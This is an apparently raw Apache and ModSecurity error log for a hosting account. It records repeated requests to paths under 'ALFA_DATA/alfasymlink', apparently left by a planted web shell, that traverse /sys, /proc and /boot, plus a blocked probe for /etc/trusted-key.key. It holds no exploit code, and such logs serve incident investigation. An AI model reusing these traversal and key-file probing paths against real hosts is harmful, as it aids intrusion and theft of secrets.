[Mon Oct 26 23:22:54.284686 2026] [core:error] [pid 3146389:tid 3146389] (13)Permission denied: [client 18.205.91.101:64985] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input0/subsystem/event0/device/device/subsystem/devices/device:00/physical_node/driver/0000:00:01.3/rescan
[Mon Oct 26 23:23:07.672993 2026] [core:error] [pid 3145296:tid 3145296] (13)Permission denied: [client 185.191.171.19:26586] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/anon_vma_chain/min_partial
[Mon Oct 26 23:23:13.034546 2026] [security2:error] [pid 3147450:tid 3147450] [client 107.172.76.131:57266] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auAZFXZMgPHU_SB9dqR5aQAAAAU"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 23:23:13.034602 2026] [security2:error] [pid 3147450:tid 3147450] [client 107.172.76.131:57266] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auAZFXZMgPHU_SB9dqR5aQAAAAU"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 23:23:18.211900 2026] [ssl:error] [pid 3148730:tid 3148730] (70014)End of file found: [client 98.82.107.102:28919] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:23:26.313312 2026] [ssl:error] [pid 3149482:tid 3149482] (70014)End of file found: [client 3.232.82.72:15525] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:23:34.461977 2026] [core:error] [pid 3145297:tid 3145297] (13)Permission denied: [client 34.238.45.183:2172] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/tty/ttyS3/subsystem/tty10/subsystem/ttyS1/line
[Mon Oct 26 23:23:36.458624 2026] [ssl:error] [pid 3148730:tid 3148730] (70014)End of file found: [client 185.191.171.15:14764] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:23:36.566428 2026] [ssl:error] [pid 3147513:tid 3147513] (70014)End of file found: [client 185.191.171.15:14770] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:23:38.218365 2026] [core:error] [pid 3146331:tid 3146331] (13)Permission denied: [client 23.23.99.55:16273] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/LNXSYSTM:00/subsystem/devices/PNP0A03:00/device:00/physical_node/subsystem/drivers/virtio-pci/0000:00:03.0/driver/0000:00:04.0/resource4
[Mon Oct 26 23:23:42.385300 2026] [ssl:error] [pid 3147449:tid 3147449] (70014)End of file found: [client 3.212.86.97:27046] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:23:50.504278 2026] [ssl:error] [pid 3146389:tid 3146389] (70014)End of file found: [client 100.24.167.60:10554] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:24:02.339124 2026] [ssl:error] [pid 3146389:tid 3146389] (70014)End of file found: [client 52.3.127.170:15410] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:24:06.235506 2026] [core:error] [pid 3148730:tid 3148730] (13)Permission denied: [client 54.166.126.132:35306] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory11/subsystem/devices/memory4/node0/cpu1/crash_notes
[Mon Oct 26 23:24:42.505412 2026] [ssl:error] [pid 3146368:tid 3146368] (70014)End of file found: [client 54.167.32.123:11254] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:24:46.385863 2026] [core:error] [pid 3145296:tid 3145296] (13)Permission denied: [client 54.84.147.79:6163] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory14/node0/cpu1/firmware_node/physical_node/driver/uevent
[Mon Oct 26 23:24:50.258450 2026] [ssl:error] [pid 3142605:tid 3142605] (70014)End of file found: [client 107.22.208.39:19695] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:24:54.230514 2026] [ssl:error] [pid 3146331:tid 3146331] (70014)End of file found: [client 3.212.86.97:15700] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:25:03.095146 2026] [core:error] [pid 3142605:tid 3142605] (13)Permission denied: [client 85.208.96.198:21078] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/iommu_iova/objects
[Mon Oct 26 23:25:10.225883 2026] [ssl:error] [pid 3147449:tid 3147449] (70014)End of file found: [client 18.235.158.19:37580] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:25:14.891624 2026] [ssl:error] [pid 3142605:tid 3142605] (70014)End of file found: [client 54.156.55.147:47076] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:25:18.244995 2026] [ssl:error] [pid 3142595:tid 3142595] (70014)End of file found: [client 3.220.148.166:62783] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:25:22.247119 2026] [ssl:error] [pid 3147517:tid 3147517] (70014)End of file found: [client 52.205.141.124:30218] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:25:26.218407 2026] [ssl:error] [pid 3146331:tid 3146331] (70014)End of file found: [client 54.91.122.193:7033] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:25:30.712733 2026] [core:error] [pid 3142605:tid 3142605] (13)Permission denied: [client 85.208.96.209:60294] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/tty/ttyS3/line
[Mon Oct 26 23:25:38.227883 2026] [ssl:error] [pid 3146389:tid 3146389] (70014)End of file found: [client 3.212.219.113:19769] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:25:58.279657 2026] [ssl:error] [pid 3147449:tid 3147449] (70014)End of file found: [client 3.229.164.203:13849] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:26:12.902424 2026] [core:error] [pid 3146365:tid 3146365] (13)Permission denied: [client 85.208.96.202:36560] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_extent_status/slabs_cpu_partial
[Mon Oct 26 23:26:31.266720 2026] [ssl:error] [pid 3146368:tid 3146368] (70014)End of file found: [client 34.226.89.140:41421] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:26:38.367216 2026] [ssl:error] [pid 3147565:tid 3147565] (70014)End of file found: [client 3.94.157.25:30936] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:26:42.651922 2026] [ssl:error] [pid 3145296:tid 3145296] (70014)End of file found: [client 34.194.14.255:58036] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:26:48.669372 2026] [core:error] [pid 3149482:tid 3149482] (13)Permission denied: [client 52.201.155.215:55427] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/tty19/subsystem/ttyS1/device/tty/ttyS3/type
[Mon Oct 26 23:27:10.372313 2026] [ssl:error] [pid 3149482:tid 3149482] (70014)End of file found: [client 54.90.8.255:13863] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:27:18.410208 2026] [ssl:error] [pid 3147450:tid 3147450] (70014)End of file found: [client 18.213.240.226:44626] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:27:26.353623 2026] [ssl:error] [pid 3147517:tid 3147517] (70014)End of file found: [client 34.239.85.139:16408] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:27:38.249455 2026] [ssl:error] [pid 3147449:tid 3147449] (70014)End of file found: [client 52.4.213.199:55189] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:27:42.437695 2026] [ssl:error] [pid 3147450:tid 3147450] (70014)End of file found: [client 44.221.105.234:45783] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:27:46.388675 2026] [ssl:error] [pid 3150489:tid 3150489] (70014)End of file found: [client 34.227.156.153:21892] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:27:54.503603 2026] [ssl:error] [pid 3146331:tid 3146331] (70014)End of file found: [client 54.197.82.195:61600] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:28:01.984011 2026] [core:error] [pid 3150489:tid 3150489] (13)Permission denied: [client 185.191.171.12:19794] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tcp_bind_bucket/red_zone
[Mon Oct 26 23:28:02.252134 2026] [core:error] [pid 3145297:tid 3145297] (13)Permission denied: [client 54.157.84.74:27698] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:04.0/driver/module/drivers/pci:virtio-pci/0000:00:05.0/driver/0000:00:03.0/resource4_wc
[Mon Oct 26 23:28:04.653565 2026] [ssl:error] [pid 3146368:tid 3146368] (70014)End of file found: [client 185.191.171.15:51936] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:28:10.262193 2026] [security2:error] [pid 3150489:tid 3150489] [client 100.28.118.16:36308] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/devices/device:04/physical_node/driver/0000:00:04.0/power/"] [unique_id "auAaSjvJu9RIoV0HiuBZxwAAAAA"]
[Mon Oct 26 23:28:10.262246 2026] [security2:error] [pid 3150489:tid 3150489] [client 100.28.118.16:36308] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/devices/device:04/physical_node/driver/0000:00:04.0/power/"] [unique_id "auAaSjvJu9RIoV0HiuBZxwAAAAA"]
[Mon Oct 26 23:28:14.377804 2026] [ssl:error] [pid 3145297:tid 3145297] (70014)End of file found: [client 34.234.200.207:61028] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:28:20.125777 2026] [core:error] [pid 3146368:tid 3146368] (13)Permission denied: [client 85.208.96.193:50614] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/TCP/free_calls
[Mon Oct 26 23:28:22.276609 2026] [ssl:error] [pid 3147513:tid 3147513] (70014)End of file found: [client 54.235.191.179:24755] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:28:26.552510 2026] [ssl:error] [pid 3147450:tid 3147450] (70014)End of file found: [client 98.84.60.17:23367] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:28:42.353465 2026] [core:error] [pid 3146365:tid 3146365] (13)Permission denied: [client 23.21.148.226:27186] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:04.0/driver/module/drivers/pci:virtio-pci/0000:00:03.0/driver/0000:00:03.0/rom
[Mon Oct 26 23:28:43.932688 2026] [ssl:error] [pid 3142595:tid 3142595] (70014)End of file found: [client 3.89.176.255:6009] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:28:47.335124 2026] [ssl:error] [pid 3146368:tid 3146368] (70014)End of file found: [client 50.16.216.166:48413] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:28:54.344651 2026] [ssl:error] [pid 3149482:tid 3149482] (5)Input/output error: [client 18.211.39.188:23045] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:28:56.684454 2026] [security2:error] [pid 3146389:tid 3146389] [client 107.172.76.131:57412] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auAaaOJUkwm96ZYHDUs1-AAAABE"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 23:28:56.684521 2026] [security2:error] [pid 3146389:tid 3146389] [client 107.172.76.131:57412] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auAaaOJUkwm96ZYHDUs1-AAAABE"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 23:29:10.274966 2026] [core:error] [pid 3147450:tid 3147450] (13)Permission denied: [client 52.71.46.142:36539] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/uhci_hcd/0000:00:01.2/usb1/driver/unbind
[Mon Oct 26 23:29:18.446141 2026] [ssl:error] [pid 3142595:tid 3142595] (70014)End of file found: [client 98.82.38.120:46499] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:29:38.625456 2026] [ssl:error] [pid 3147565:tid 3147565] (70014)End of file found: [client 3.219.81.66:33376] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:29:44.551225 2026] [core:error] [pid 3145296:tid 3145296] (13)Permission denied: [client 85.208.96.194:56484] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/hugetlbfs_inode_cache/cpu_slabs
[Mon Oct 26 23:29:45.889839 2026] [security2:error] [pid 3149145:tid 3149145] [client 107.172.76.131:57419] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auAanGD99EvW2fD6Vi-vrgAAABM"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 23:29:45.889885 2026] [security2:error] [pid 3149145:tid 3149145] [client 107.172.76.131:57419] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auAanGD99EvW2fD6Vi-vrgAAABM"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 23:29:46.648761 2026] [ssl:error] [pid 3146365:tid 3146365] (70014)End of file found: [client 23.23.99.55:64823] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:29:54.307717 2026] [ssl:error] [pid 3142595:tid 3142595] (70014)End of file found: [client 54.243.63.52:26423] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:30:14.388412 2026] [core:error] [pid 3142595:tid 3142595] (13)Permission denied: [client 34.205.163.103:51555] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory2/node0/memory1/node0/memory19/subsystem/drivers_probe
[Mon Oct 26 23:30:18.485013 2026] [ssl:error] [pid 3147565:tid 3147565] (70014)End of file found: [client 18.214.186.220:61729] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:30:26.400360 2026] [ssl:error] [pid 3146368:tid 3146368] (70014)End of file found: [client 52.200.251.20:34484] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:30:30.829704 2026] [ssl:error] [pid 3142595:tid 3142595] (70014)End of file found: [client 54.92.171.106:9408] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:30:34.554253 2026] [core:error] [pid 3147565:tid 3147565] (13)Permission denied: [client 52.70.138.176:46077] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:0d/subsystem/devices/device:03/physical_node/driver/0000:00:02.0/remove
[Mon Oct 26 23:30:38.544251 2026] [ssl:error] [pid 3145296:tid 3145296] (70014)End of file found: [client 100.29.160.53:11967] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:30:42.468570 2026] [core:error] [pid 3146365:tid 3146365] (13)Permission denied: [client 23.23.137.202:60653] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/PNP0303:00/physical_node1/firmware_node/physical_node/subsystem/drivers_probe
[Mon Oct 26 23:30:46.285284 2026] [security2:error] [pid 3146368:tid 3146368] [client 16.216.88.192:28672] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/trusted-key.key"] [unique_id "auAa5oi_xUBkO7bS12SqygAAAA8"]
[Mon Oct 26 23:30:46.285806 2026] [security2:error] [pid 3146368:tid 3146368] [client 16.216.88.192:28672] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/trusted-key.key"] [unique_id "auAa5oi_xUBkO7bS12SqygAAAA8"]
[Mon Oct 26 23:30:46.335708 2026] [security2:error] [pid 3146368:tid 3146368] [client 16.216.88.192:28672] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/trusted-key.key"] [unique_id "auAa5oi_xUBkO7bS12SqygAAAA8"]
[Mon Oct 26 23:30:50.373442 2026] [core:error] [pid 3147565:tid 3147565] (13)Permission denied: [client 52.204.37.237:63713] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/tty5/subsystem/tty14/subsystem/ttyS1/custom_divisor
[Mon Oct 26 23:30:54.350461 2026] [ssl:error] [pid 3150489:tid 3150489] (70014)End of file found: [client 18.205.213.231:31098] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:30:58.699927 2026] [ssl:error] [pid 3146365:tid 3146365] (70014)End of file found: [client 18.215.49.176:9761] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:31:06.497618 2026] [ssl:error] [pid 3146389:tid 3146389] (70014)End of file found: [client 100.29.63.24:11844] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:31:10.647928 2026] [ssl:error] [pid 3149143:tid 3149143] (70014)End of file found: [client 52.22.87.224:39720] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:31:14.697336 2026] [ssl:error] [pid 3152938:tid 3152938] (70014)End of file found: [client 18.215.49.176:27971] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:31:16.182222 2026] [core:error] [pid 3146389:tid 3146389] (13)Permission denied: [client 85.208.96.194:61584] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/audit_buffer/alloc_calls
[Mon Oct 26 23:31:18.914555 2026] [ssl:error] [pid 3149143:tid 3149143] (70014)End of file found: [client 3.224.215.150:7345] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:31:22.406123 2026] [ssl:error] [pid 3147448:tid 3147448] (70014)End of file found: [client 52.54.157.23:16487] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:31:33.755663 2026] [core:error] [pid 3152934:tid 3152934] (13)Permission denied: [client 185.191.171.9:61728] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-2k/order
[Mon Oct 26 23:31:42.415378 2026] [core:error] [pid 3152940:tid 3152940] (13)Permission denied: [client 44.193.115.232:61223] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/resource0
[Mon Oct 26 23:31:46.391743 2026] [ssl:error] [pid 3147448:tid 3147448] (70014)End of file found: [client 3.89.176.255:63912] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:31:50.795121 2026] [core:error] [pid 3152951:tid 3152951] (13)Permission denied: [client 3.224.215.150:35368] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/device:01/subsystem/drivers/pvpanic/bind
[Mon Oct 26 23:31:55.231438 2026] [ssl:error] [pid 3146389:tid 3146389] (70014)End of file found: [client 52.2.58.41:33263] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:32:02.518332 2026] [ssl:error] [pid 3147517:tid 3147517] (70014)End of file found: [client 52.4.76.156:40619] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:32:06.431908 2026] [ssl:error] [pid 3152940:tid 3152940] (70014)End of file found: [client 18.232.11.247:61069] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:32:10.384057 2026] [ssl:error] [pid 3147448:tid 3147448] (70014)End of file found: [client 35.174.253.85:13587] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:32:22.404449 2026] [ssl:error] [pid 3149145:tid 3149145] (70014)End of file found: [client 3.230.224.6:28432] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:32:30.556423 2026] [core:crit] [pid 3152940:tid 3152940] (13)Permission denied: [client 54.197.178.107:41528] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/boot/grub2/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/boot/grub2/' is executable
[Mon Oct 26 23:32:34.383442 2026] [ssl:error] [pid 3147515:tid 3147515] (70014)End of file found: [client 52.0.105.244:61560] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:32:50.414994 2026] [ssl:error] [pid 3152940:tid 3152940] (70014)End of file found: [client 52.70.209.13:53207] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:32:54.646964 2026] [core:error] [pid 3147515:tid 3147515] (13)Permission denied: [client 34.236.185.101:28952] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/devices/0000:00:02.0/subsystem/drivers_probe
[Mon Oct 26 23:32:56.710347 2026] [core:error] [pid 3150489:tid 3150489] (13)Permission denied: [client 185.191.171.1:42504] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/TCP/usersize
[Mon Oct 26 23:33:02.544372 2026] [ssl:error] [pid 3147515:tid 3147515] (70014)End of file found: [client 100.27.153.9:56634] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:33:06.492552 2026] [ssl:error] [pid 3146389:tid 3146389] (70014)End of file found: [client 52.54.249.218:28890] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:33:14.765732 2026] [ssl:error] [pid 3149145:tid 3149145] (70014)End of file found: [client 23.23.104.107:8542] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:33:18.436413 2026] [ssl:error] [pid 3147565:tid 3147565] (5)Input/output error: [client 34.224.132.215:8348] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:33:21.792974 2026] [core:error] [pid 3152938:tid 3152938] (13)Permission denied: [client 85.208.96.194:22064] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kvm_vcpu/red_zone
[Mon Oct 26 23:33:22.417508 2026] [ssl:error] [pid 3152934:tid 3152934] (70014)End of file found: [client 52.71.216.196:43869] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:33:26.798673 2026] [ssl:error] [pid 3152927:tid 3152927] (70014)End of file found: [client 3.211.181.86:21373] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:33:34.624911 2026] [ssl:error] [pid 3149145:tid 3149145] (70014)End of file found: [client 184.73.35.182:28494] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:33:36.327601 2026] [security2:error] [pid 3152934:tid 3152934] [client 107.23.70.212:56954] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/contacto/contacto.php"] [unique_id "auAbkPaBHXiICPr245B4FwAAAAM"]
[Mon Oct 26 23:33:36.327649 2026] [security2:error] [pid 3152934:tid 3152934] [client 107.23.70.212:56954] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/contacto/contacto.php"] [unique_id "auAbkPaBHXiICPr245B4FwAAAAM"]
[Mon Oct 26 23:33:37.182964 2026] [security2:error] [pid 3153081:tid 3153081] [client 44.209.220.188:3785] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/contacto/contacto.php"] [unique_id "auAbkV9GAVpomZaedseMUgAAAAQ"]
[Mon Oct 26 23:33:37.183007 2026] [security2:error] [pid 3153081:tid 3153081] [client 44.209.220.188:3785] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/contacto/contacto.php"] [unique_id "auAbkV9GAVpomZaedseMUgAAAAQ"]
[Mon Oct 26 23:33:38.428181 2026] [ssl:error] [pid 3152927:tid 3152927] (70014)End of file found: [client 3.210.223.61:18158] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:33:39.121755 2026] [security2:error] [pid 3142605:tid 3142605] [client 107.172.76.131:57450] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auAbh0V4AUzwl86DWiroGgAAABI"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 23:33:39.121849 2026] [security2:error] [pid 3142605:tid 3142605] [client 107.172.76.131:57450] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auAbh0V4AUzwl86DWiroGgAAABI"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 23:33:42.563890 2026] [ssl:error] [pid 3153096:tid 3153096] (70014)End of file found: [client 34.192.125.239:60820] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:33:53.725182 2026] [security2:error] [pid 3149482:tid 3149482] [client 107.172.76.131:57447] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auAblDNB9i90nPiYh7BZbQAAAA4"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 23:33:53.725234 2026] [security2:error] [pid 3149482:tid 3149482] [client 107.172.76.131:57447] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auAblDNB9i90nPiYh7BZbQAAAA4"], referer: https://clic2.sherwinpinturas.com//beta.php
